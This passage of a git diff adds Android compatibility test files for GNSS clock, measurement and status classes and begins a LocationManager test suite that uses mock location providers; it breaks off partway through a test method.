+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssClock;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssClockTest {
+
+ private static final double DELTA = 0.001;
+
+ @Test
+ public void testWriteToParcel() {
+ GnssClock clock = new GnssClock();
+ setTestValues(clock);
+ Parcel parcel = Parcel.obtain();
+ clock.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssClock newClock = GnssClock.CREATOR.createFromParcel(parcel);
+ verifyTestValues(newClock);
+ parcel.recycle();
+ }
+
+ @Test
+ public void testReset() {
+ GnssClock clock = new GnssClock();
+ clock.reset();
+ }
+
+ @Test
+ public void testSet() {
+ GnssClock clock = new GnssClock();
+ setTestValues(clock);
+ GnssClock newClock = new GnssClock();
+ newClock.set(clock);
+ verifyTestValues(newClock);
+ }
+
+ @Test
+ public void testHasAndReset() {
+ GnssClock clock = new GnssClock();
+ setTestValues(clock);
+
+ assertTrue(clock.hasBiasNanos());
+ clock.resetBiasNanos();
+ assertFalse(clock.hasBiasNanos());
+
+ assertTrue(clock.hasBiasUncertaintyNanos());
+ clock.resetBiasUncertaintyNanos();
+ assertFalse(clock.hasBiasUncertaintyNanos());
+
+ assertTrue(clock.hasDriftNanosPerSecond());
+ clock.resetDriftNanosPerSecond();
+ assertFalse(clock.hasDriftNanosPerSecond());
+
+ assertTrue(clock.hasDriftUncertaintyNanosPerSecond());
+ clock.resetDriftUncertaintyNanosPerSecond();
+ assertFalse(clock.hasDriftUncertaintyNanosPerSecond());
+
+ assertTrue(clock.hasFullBiasNanos());
+ clock.resetFullBiasNanos();
+ assertFalse(clock.hasFullBiasNanos());
+
+ assertTrue(clock.hasLeapSecond());
+ clock.resetLeapSecond();
+ assertFalse(clock.hasLeapSecond());
+
+ assertTrue(clock.hasTimeUncertaintyNanos());
+ clock.resetTimeUncertaintyNanos();
+ assertFalse(clock.hasTimeUncertaintyNanos());
+
+ assertTrue(clock.hasElapsedRealtimeNanos());
+ clock.resetElapsedRealtimeNanos();
+ assertFalse(clock.hasElapsedRealtimeNanos());
+
+ assertTrue(clock.hasElapsedRealtimeUncertaintyNanos());
+ clock.resetElapsedRealtimeUncertaintyNanos();
+ assertFalse(clock.hasElapsedRealtimeUncertaintyNanos());
+ }
+
+ private static void setTestValues(GnssClock clock) {
+ clock.setBiasNanos(1.0);
+ clock.setBiasUncertaintyNanos(2.0);
+ clock.setDriftNanosPerSecond(3.0);
+ clock.setDriftUncertaintyNanosPerSecond(4.0);
+ clock.setFullBiasNanos(5);
+ clock.setHardwareClockDiscontinuityCount(6);
+ clock.setLeapSecond(7);
+ clock.setTimeNanos(8);
+ clock.setTimeUncertaintyNanos(9.0);
+ clock.setElapsedRealtimeNanos(10987732253L);
+ clock.setElapsedRealtimeUncertaintyNanos(3943523.0);
+ }
+
+ private static void verifyTestValues(GnssClock clock) {
+ assertEquals(1.0, clock.getBiasNanos(), DELTA);
+ assertEquals(2.0, clock.getBiasUncertaintyNanos(), DELTA);
+ assertEquals(3.0, clock.getDriftNanosPerSecond(), DELTA);
+ assertEquals(4.0, clock.getDriftUncertaintyNanosPerSecond(), DELTA);
+ assertEquals(5, clock.getFullBiasNanos());
+ assertEquals(6, clock.getHardwareClockDiscontinuityCount());
+ assertEquals(7, clock.getLeapSecond());
+ assertEquals(8, clock.getTimeNanos());
+ assertEquals(9.0, clock.getTimeUncertaintyNanos(), DELTA);
+ assertEquals(10987732253L, clock.getElapsedRealtimeNanos());
+ assertEquals(3943523.0, clock.getElapsedRealtimeUncertaintyNanos(), DELTA);
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
new file mode 100644
index 0000000..5c318a3
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurement;
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+ private static final double DELTA = 0.001;
+
+ @Test
+ public void testDescribeContents() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ assertEquals(0, measurement.describeContents());
+ }
+
+ @Test
+ public void testReset() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ measurement.reset();
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+ Parcel parcel = Parcel.obtain();
+ measurement.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+ verifyTestValues(newMeasurement);
+ parcel.recycle();
+ }
+
+ @Test
+ public void testSet() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+ GnssMeasurement newMeasurement = new GnssMeasurement();
+ newMeasurement.set(measurement);
+ verifyTestValues(newMeasurement);
+ }
+
+ @Test
+ public void testSetReset() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+
+ assertTrue(measurement.hasCarrierCycles());
+ measurement.resetCarrierCycles();
+ assertFalse(measurement.hasCarrierCycles());
+
+ assertTrue(measurement.hasCarrierFrequencyHz());
+ measurement.resetCarrierFrequencyHz();
+ assertFalse(measurement.hasCarrierFrequencyHz());
+
+ assertTrue(measurement.hasCarrierPhase());
+ measurement.resetCarrierPhase();
+ assertFalse(measurement.hasCarrierPhase());
+
+ assertTrue(measurement.hasCarrierPhaseUncertainty());
+ measurement.resetCarrierPhaseUncertainty();
+ assertFalse(measurement.hasCarrierPhaseUncertainty());
+
+ assertTrue(measurement.hasSnrInDb());
+ measurement.resetSnrInDb();
+ assertFalse(measurement.hasSnrInDb());
+
+ assertTrue(measurement.hasCodeType());
+ measurement.resetCodeType();
+ assertFalse(measurement.hasCodeType());
+
+ assertTrue(measurement.hasBasebandCn0DbHz());
+ measurement.resetBasebandCn0DbHz();
+ assertFalse(measurement.hasBasebandCn0DbHz());
+ }
+
+ private static void setTestValues(GnssMeasurement measurement) {
+ measurement.setAccumulatedDeltaRangeMeters(1.0);
+ measurement.setAccumulatedDeltaRangeState(2);
+ measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
+ measurement.setBasebandCn0DbHz(3.0);
+ measurement.setCarrierCycles(4);
+ measurement.setCarrierFrequencyHz(5.0f);
+ measurement.setCarrierPhase(6.0);
+ measurement.setCarrierPhaseUncertainty(7.0);
+ measurement.setCn0DbHz(8.0);
+ measurement.setCodeType("C");
+ measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
+ measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
+ measurement.setPseudorangeRateMetersPerSecond(9.0);
+ measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
+ measurement.setReceivedSvTimeNanos(11);
+ measurement.setReceivedSvTimeUncertaintyNanos(12);
+ measurement.setSnrInDb(13.0);
+ measurement.setState(14);
+ measurement.setSvid(15);
+ measurement.setTimeOffsetNanos(16.0);
+ }
+
+ private static void verifyTestValues(GnssMeasurement measurement) {
+ assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters(), DELTA);
+ assertEquals(2, measurement.getAccumulatedDeltaRangeState());
+ assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters(), DELTA);
+ assertEquals(3.0, measurement.getBasebandCn0DbHz(), DELTA);
+ assertEquals(4, measurement.getCarrierCycles());
+ assertEquals(5.0f, measurement.getCarrierFrequencyHz(), DELTA);
+ assertEquals(6.0, measurement.getCarrierPhase(), DELTA);
+ assertEquals(7.0, measurement.getCarrierPhaseUncertainty(), DELTA);
+ assertEquals(8.0, measurement.getCn0DbHz(), DELTA);
+ assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
+ assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
+ measurement.getMultipathIndicator());
+ assertEquals("C", measurement.getCodeType());
+ assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond(), DELTA);
+ assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond(), DELTA);
+ assertEquals(11, measurement.getReceivedSvTimeNanos());
+ assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
+ assertEquals(13.0, measurement.getSnrInDb(), DELTA);
+ assertEquals(14, measurement.getState());
+ assertEquals(15, measurement.getSvid());
+ assertEquals(16.0, measurement.getTimeOffsetNanos(), DELTA);
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
new file mode 100644
index 0000000..048c741
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementsEventTest {
+
+ @Test
+ public void testDescribeContents() {
+ GnssClock clock = new GnssClock();
+ GnssMeasurement m1 = new GnssMeasurement();
+ GnssMeasurement m2 = new GnssMeasurement();
+ GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+ clock, new GnssMeasurement[] {m1, m2});
+ assertEquals(0, event.describeContents());
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssClock clock = new GnssClock();
+ clock.setLeapSecond(100);
+ GnssMeasurement m1 = new GnssMeasurement();
+ m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
+ GnssMeasurement m2 = new GnssMeasurement();
+ m2.setReceivedSvTimeNanos(43999);
+ GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+ clock, new GnssMeasurement[] {m1, m2});
+ Parcel parcel = Parcel.obtain();
+ event.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
+ assertEquals(100, newEvent.getClock().getLeapSecond());
+ Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
+ assertEquals(2, measurements.size());
+ Iterator<GnssMeasurement> iterator = measurements.iterator();
+ GnssMeasurement newM1 = iterator.next();
+ assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
+ GnssMeasurement newM2 = iterator.next();
+ assertEquals(43999, newM2.getReceivedSvTimeNanos());
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java
new file mode 100644
index 0000000..98b4572
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssStatus;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssStatusTest {
+
+ private static final float DELTA = 1e-3f;
+
+ @Test
+ public void testGetValues() {
+ GnssStatus gnssStatus = getTestGnssStatus();
+ verifyTestValues(gnssStatus);
+ }
+
+ private static GnssStatus getTestGnssStatus() {
+ GnssStatus.Builder builder = new GnssStatus.Builder();
+ builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
+ /* svid= */ 13,
+ /* cn0DbHz= */ 25.5f,
+ /* elevation= */ 2.0f,
+ /* azimuth= */ 255.1f,
+ /* hasEphemeris= */ true,
+ /* hasAlmanac= */ false,
+ /* usedInFix= */ true,
+ /* hasCarrierFrequency= */ true,
+ /* carrierFrequency= */ 1575420000f,
+ /* hasBasebandCn0DbHz= */ true,
+ /* basebandCn0DbHz= */ 20.5f);
+
+ builder.addSatellite(GnssStatus.CONSTELLATION_GLONASS,
+ /* svid= */ 9,
+ /* cn0DbHz= */ 31.0f,
+ /* elevation= */ 1.0f,
+ /* azimuth= */ 193.8f,
+ /* hasEphemeris= */ false,
+ /* hasAlmanac= */ true,
+ /* usedInFix= */ false,
+ /* hasCarrierFrequency= */ false,
+ /* carrierFrequency= */ Float.NaN,
+ /* hasBasebandCn0DbHz= */ true,
+ /* basebandCn0DbHz= */ 26.9f);
+
+ return builder.build();
+ }
+
+ private static void verifyTestValues(GnssStatus gnssStatus) {
+ assertEquals(2, gnssStatus.getSatelliteCount());
+ assertEquals(GnssStatus.CONSTELLATION_GPS, gnssStatus.getConstellationType(0));
+ assertEquals(GnssStatus.CONSTELLATION_GLONASS, gnssStatus.getConstellationType(1));
+
+ assertEquals(13, gnssStatus.getSvid(0));
+ assertEquals(9, gnssStatus.getSvid(1));
+
+ assertEquals(25.5f, gnssStatus.getCn0DbHz(0), DELTA);
+ assertEquals(31.0f, gnssStatus.getCn0DbHz(1), DELTA);
+
+ assertEquals(2.0f, gnssStatus.getElevationDegrees(0), DELTA);
+ assertEquals(1.0f, gnssStatus.getElevationDegrees(1), DELTA);
+
+ assertEquals(255.1f, gnssStatus.getAzimuthDegrees(0), DELTA);
+ assertEquals(193.8f, gnssStatus.getAzimuthDegrees(1), DELTA);
+
+ assertEquals(true, gnssStatus.hasEphemerisData(0));
+ assertEquals(false, gnssStatus.hasEphemerisData(1));
+
+ assertEquals(false, gnssStatus.hasAlmanacData(0));
+ assertEquals(true, gnssStatus.hasAlmanacData(1));
+
+ assertEquals(true, gnssStatus.usedInFix(0));
+ assertEquals(false, gnssStatus.usedInFix(1));
+
+ assertEquals(true, gnssStatus.hasCarrierFrequencyHz(0));
+ assertEquals(false, gnssStatus.hasCarrierFrequencyHz(1));
+
+ assertEquals(1575420000f, gnssStatus.getCarrierFrequencyHz(0), DELTA);
+
+ assertEquals(true, gnssStatus.hasBasebandCn0DbHz(0));
+ assertEquals(true, gnssStatus.hasBasebandCn0DbHz(1));
+
+ assertEquals(20.5f, gnssStatus.getBasebandCn0DbHz(0), DELTA);
+ assertEquals(26.9f, gnssStatus.getBasebandCn0DbHz(1), DELTA);
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
new file mode 100644
index 0000000..c147cfd
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -0,0 +1,1168 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
+import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
+import static android.location.LocationManager.FUSED_PROVIDER;
+import static android.location.LocationManager.GPS_PROVIDER;
+import static android.location.LocationManager.NETWORK_PROVIDER;
+import static android.location.LocationManager.PASSIVE_PROVIDER;
+import static android.location.LocationManager.PROVIDERS_CHANGED_ACTION;
+
+import static androidx.test.ext.truth.content.IntentSubject.assertThat;
+import static androidx.test.ext.truth.location.LocationSubject.assertThat;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.location.Criteria;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.location.LocationProvider;
+import android.location.LocationRequest;
+import android.location.OnNmeaMessageListener;
+import android.location.cts.common.BroadcastCapture;
+import android.location.cts.common.GetCurrentLocationCapture;
+import android.location.cts.common.LocationListenerCapture;
+import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.ProximityPendingIntentCapture;
+import android.os.Build.VERSION;
+import android.os.Build.VERSION_CODES;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.UserManager;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings.Secure;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.LocationUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationManagerFineTest {
+
+ private static final String TAG = "LocationManagerFineTest";
+
+ private static final long TIMEOUT_MS = 5000;
+ private static final long FAILURE_TIMEOUT_MS = 200;
+
+ private static final String TEST_PROVIDER = "test_provider";
+
+ private Random mRandom;
+ private Context mContext;
+ private LocationManager mManager;
+
+ @Before
+ public void setUp() throws Exception {
+ LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+ true);
+
+ long seed = System.currentTimeMillis();
+ Log.i(TAG, "location random seed: " + seed);
+
+ mRandom = new Random(seed);
+ mContext = ApplicationProvider.getApplicationContext();
+ mManager = mContext.getSystemService(LocationManager.class);
+
+ assertThat(mManager).isNotNull();
+
+ for (String provider : mManager.getAllProviders()) {
+ mManager.removeTestProvider(provider);
+ }
+
+ mManager.addTestProvider(TEST_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ for (String provider : mManager.getAllProviders()) {
+ mManager.removeTestProvider(provider);
+ }
+
+ LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+ false);
+ }
+
+ @Test
+ public void testIsLocationEnabled() {
+ assertThat(mManager.isLocationEnabled()).isTrue();
+ }
+
+ @Test
+ public void testValidLocationMode() {
+ int locationMode = Secure.getInt(mContext.getContentResolver(), Secure.LOCATION_MODE,
+ Secure.LOCATION_MODE_OFF);
+ assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_SENSORS_ONLY);
+ assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_BATTERY_SAVING);
+ }
+
+ @Test
+ public void testIsProviderEnabled() {
+ assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isFalse();
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
+
+ try {
+ mManager.isProviderEnabled(null);
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testGetLastKnownLocation() {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isEqualTo(loc1);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isEqualTo(loc2);
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isNull();
+
+ try {
+ mManager.getLastKnownLocation(null);
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testGetCurrentLocation() throws Exception {
+ Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+ try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+ mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+ Executors.newSingleThreadExecutor(), capture);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+ assertThat(capture.getLocation(TIMEOUT_MS)).isEqualTo(loc);
+ }
+
+ try {
+ mManager.getCurrentLocation((String) null, null, Executors.newSingleThreadExecutor(),
+ (location) -> {});
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testGetCurrentLocation_DirectExecutor() throws Exception {
+ Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+ try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+ mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+ Runnable::run, capture);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+ assertThat(capture.getLocation(TIMEOUT_MS)).isEqualTo(loc);
+ }
+ }
+
+ @Test
+ public void testGetCurrentLocation_Cancellation() throws Exception {
+ Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+ try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+ mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+ Executors.newSingleThreadExecutor(), capture);
+ capture.getCancellationSignal().cancel();
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+ assertThat(capture.hasLocation(FAILURE_TIMEOUT_MS)).isFalse();
+ }
+ }
+
+ @Test
+ public void testGetCurrentLocation_ProviderDisabled() throws Exception {
+ try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+ Executors.newSingleThreadExecutor(), capture);
+ assertThat(capture.getLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+
+ try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+ mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+ Executors.newSingleThreadExecutor(), capture);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+ Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+ mManager.removeUpdates(capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(FAILURE_TIMEOUT_MS)).isNull();
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(FAILURE_TIMEOUT_MS)).isNull();
+ }
+
+ try {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, (LocationListener) null);
+ fail("Should throw IllegalArgumentException if listener is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, null, capture);
+ fail("Should throw IllegalArgumentException if executor is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(null, 0, 0, capture);
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.removeUpdates((LocationListener) null);
+ fail("Should throw IllegalArgumentException if listener is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_PendingIntent() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+ mManager.removeUpdates(capture.getPendingIntent());
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(FAILURE_TIMEOUT_MS)).isNull();
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(FAILURE_TIMEOUT_MS)).isNull();
+ }
+
+ try {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, (PendingIntent) null);
+ fail("Should throw IllegalArgumentException if pending intent is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+ mManager.requestLocationUpdates(null, 0, 0, capture.getPendingIntent());
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.removeUpdates((PendingIntent) null);
+ fail("Should throw IllegalArgumentException if pending intent is null!");
+ } catch (IllegalArgumentException e) {
